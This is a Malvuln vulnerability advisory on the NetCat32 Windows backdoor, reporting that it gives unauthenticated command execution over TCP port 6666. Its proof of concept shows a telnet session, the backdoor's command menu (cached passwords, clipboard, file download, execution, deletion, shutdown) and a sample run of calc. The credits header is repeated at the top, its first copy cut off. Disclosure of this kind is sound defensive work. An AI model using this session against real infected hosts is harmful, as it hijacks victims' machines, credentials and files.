Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/dcf16aed5ad4e0058a6cfcc7593dd9e3.txt
Contact: malvuln13@gmail.com
Media: twitter.co Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/dcf16aed5ad4e0058a6cfcc7593dd9e3.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NetCat32.10
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 6666. Attackers who can reach infected systems can run commands made available by the backdoor using TELNET.
Family: NetCat32
Type: PE32
MD5: dcf16aed5ad4e0058a6cfcc7593dd9e3
Vuln ID: MVID-2022-0550
Disclosure: 04/14/2022

Exploit/PoC:
telnet.exe x.x.x.x 6666
HELO
HHEELLPP
========================================================
HELP This help EXIT Quit your session
VER Get Versions
ExitWin Shutdown Windows
CLIP View Clipboard PASS Display Cached Pass
DOWNLOAD Host download file GET Get file from host
EXEC ShellExecute EXECHIDE ShellExecute
SHOW Show Window HIDE Hide Window
MAXALL Max all Windows MINALL Min all Windows
RESTALL Restore Windows LISTWIN List Windows
DESK Set Desktop Color WALL Set Wallpaper
MKDIR Make Directory RMDIR Remove Directory
RM Delete File MOVE Move / Rename File
LS List Directory TELNET Connect another
FUNCAP Rock the CapLock CDROM Open/Close cdrom
========================================================
+OK
EEXXEECC ccaallcc
+OK

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